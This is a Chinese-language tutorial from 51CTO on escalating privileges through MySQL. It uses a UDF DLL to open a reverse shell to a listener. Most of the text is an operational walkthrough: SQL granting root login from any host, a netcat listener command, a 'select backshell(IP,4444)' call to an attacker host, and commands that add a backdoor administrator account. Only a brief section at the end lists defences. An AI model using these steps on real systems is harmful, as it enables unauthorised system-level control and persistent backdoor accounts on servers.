MySQL數據庫反彈端口連接提權
原創【51CTO.com原創稿件】在滲透或者安全評估時,有可能遇到一些比較奇葩的環境,即使通過Mysql root賬號和密碼獲取了webshell,由于無法執行命令。在一般的情況下,也就放棄了。但其實可以換一種思路,通過mysql查詢來直接提權,可以針對以下場景:
(1)通過網站無法獲取webshell
(2)Webshell無法執行命令
(3)有phpmyadmin和root賬號,無法查詢或者無法獲取網站的真實路徑
注:本文是筆者撰寫的Mysql安全系列文章的第二篇。***篇為《關系型數據庫管理系統MySQL提權基礎》。
一、反彈端口連接提權的條件
1.訪問Mysql數據庫
獲取了數據庫root賬號和密碼或者相當于root權限的賬號和密碼,同時能夠執行查詢命令。換句話說可以通過phpmyadmin連接、通過網站后臺的執行數據庫命令或者“Navicat for MySQL”等客戶端軟件連接。
2.可導出文件udf.dll到系統目錄或者Mysql數據庫安裝目錄下的lib下的plugin目錄。如果有上傳條件,可以直接上傳udf.dll到對應目錄。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目錄,Mysql5.1以上版本到Mysql安裝目錄下的plugin 目錄,例如D:\ComsenzEXP\MySQL\lib\plugin。
3.授權mysql數據庫遠程用戶登錄
可以修改host為%,更新權限,然后通過Navicat for MySQL連接數據庫,直接打開命令提示窗口進行導出。
允許遠程用戶登錄訪問mysql的方法,需要手動增加可以遠程訪問數據庫的用戶。
方法一:本地登入mysql,更改 "mysql" 數據庫里的 "user" 表里的 "host" 項,將"localhost"改為"%"
- use mysql;
- update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
方法二:直接授權
從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務器:
- GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
- FLUSH PRIVILEGES;
二、具體實現方法
1.連接mysql服務器
(1)通過mysql客戶端工具可以直接連接
(2)通過phpmyadmin進行連接
(3)通過mysql.exe直接連接
2.執行查詢命令
(1)網上提供的“\. c:\mysql.txt”命令會出錯,***通過phpmyadmin或者Navicat for MySQL等工具來進行查詢。修改mysql.txt中的***一行代碼“select backshell("YourIP",4444);”為自己反彈的IP和反彈監聽的端口。
(2)本地開啟監聽反彈的端口
nc.exe -vv -l -p 4444
(3)執行mysql查詢,將mysql.txt文件內容復制到查詢中執行。
成功后,你將獲得一個system權限的cmdshell。
3.添加用戶或者獲取管理員密碼
通過反彈shell添加用戶antian365,密碼www.antian365.com
- net user antian365 www.antian365.com /add
- net localgroup administrators antian365
三、一個提權實例
1.在反彈監聽服務器上進行端口監聽
通過cmd命令提示符,執行nc監聽命令:nc –vv –l –p 4444,表示在本地監聽4444端口。如果是在公網上,這反彈監聽服務器必須有獨立IP,如果是內部網絡,則可以直接使用內網IP,如圖1所示。
圖1進行監聽
2.修改mysql.txt文件中反彈地址
在mysql.txt文件中將***一行代碼修改為前面設置的監聽IP地址和端口,如圖2所示,例如代碼:
select backshell("192.168.40.135",4444);//反彈監聽服務器IP192.168.40.135,端口4444
圖2修改查詢代碼中反彈shell地址和端口
這個也可以再次單獨查詢:select backshell("192.168.40.135",4444);
3.執行查詢
可以通過mysql命令行下執行,也可以通過phpmyadmin查詢窗口以及一些mysql客戶端查詢進行,如圖3所示執行查詢。
圖3執行mysql查詢
說明:
(1)如果已經存在ghost表和backshell函數,可以執行以下命令進行刪除:
- drop table ghost;
- drop FUNCTION backshell;
(2)如果已經存在udf.dll,則可以跳過導出命令,執行:
- CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
3.查看反彈結果
如圖4所示,顯示通過連接mysql執行查詢獲取的終端反彈shell,在該shell下可以直接執行net user、whoami等命令查看當前權限。
圖4查看反彈結果
四、防范方法
1.查看mysql數據庫中user表授權的登錄host,禁止具備Root賬號權限的用戶通過“%”進行登錄。
2.禁止在網站CMS系統使用root賬號進行配置。
3.設置root賬號的密碼為強密碼。
4.對Mysql執行程序進行降權,禁止網站用戶讀取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止網站用戶讀取和下載。
5.檢查mysql數據庫下的mysql表中是否存在其它無關表,檢查func表中的內容。
6.可以在相應的目錄下建立一個udf.dll空文件,并嚴格設置權限,任何人無讀取和寫入權限。
注:本文是筆者撰寫的Mysql安全系列文章的第二篇,我們將會持續推出后續文章,敬請期待。
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】